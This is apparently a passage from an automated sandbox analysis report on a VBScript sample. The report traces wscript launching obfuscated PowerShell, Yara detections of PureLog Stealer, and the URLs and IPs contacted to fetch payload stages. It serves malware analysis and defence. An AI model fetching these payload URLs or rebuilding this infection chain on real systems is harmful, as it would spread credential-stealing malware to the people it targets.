Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected PureLog Stealer
Source: Yara match File source: 4.2.powershell.exe.25190e2f628.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.25190e2f628.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.251ee1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.251ee1e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.1922445432.00000251EE1E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1903308651.000002519061B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected PureLog Stealer
Source: Yara match File source: 4.2.powershell.exe.25190e2f628.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.25190e2f628.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.251ee1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.powershell.exe.251ee1e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.1922445432.00000251EE1E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1903308651.000002519061B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1523831 Sample: aK7smea2Vv.vbs Startdate: 02/10/2024 Architecture: WINDOWS Score: 100 19 ia600100.us.archive.org 2->19 25 Multi AV Scanner detection for domain / URL 2->25 27 Malicious sample detected (through community Yara rule) 2->27 29 Multi AV Scanner detection for submitted file 2->29 31 9 other signatures 2->31 8 wscript.exe 1 2->8         started        signatures3 process4 signatures5 33 VBScript performs obfuscated calls to suspicious functions 8->33 35 Suspicious powershell command line found 8->35 37 Wscript starts Powershell (via cmd or directly) 8->37 39 3 other signatures 8->39 11 powershell.exe 7 8->11         started        process6 signatures7 41 Suspicious powershell command line found 11->41 43 Obfuscated command line found 11->43 45 Found suspicious powershell code related to unpacking or dynamic code loading 11->45 14 powershell.exe 14 16 11->14         started        17 conhost.exe 11->17         started        process8 dnsIp9 21 45.79.190.156, 49707, 49710, 80 LINODE-APLinodeLLCUS United States 14->21 23 ia600100.us.archive.org 207.241.227.240, 443, 49706 INTERNET-ARCHIVEUS United States 14->23
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
45.79.190.156
 unknown United States
63949 LINODE-APLinodeLLCUS false
207.241.227.240
 ia600100.us.archive.org United States
7941 INTERNET-ARCHIVEUS false

Contacted Domains

Name IP Active
ia600100.us.archive.org 207.241.227.240 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt false unknown
http://45.79.190.156/560/WRDF.txt false unknown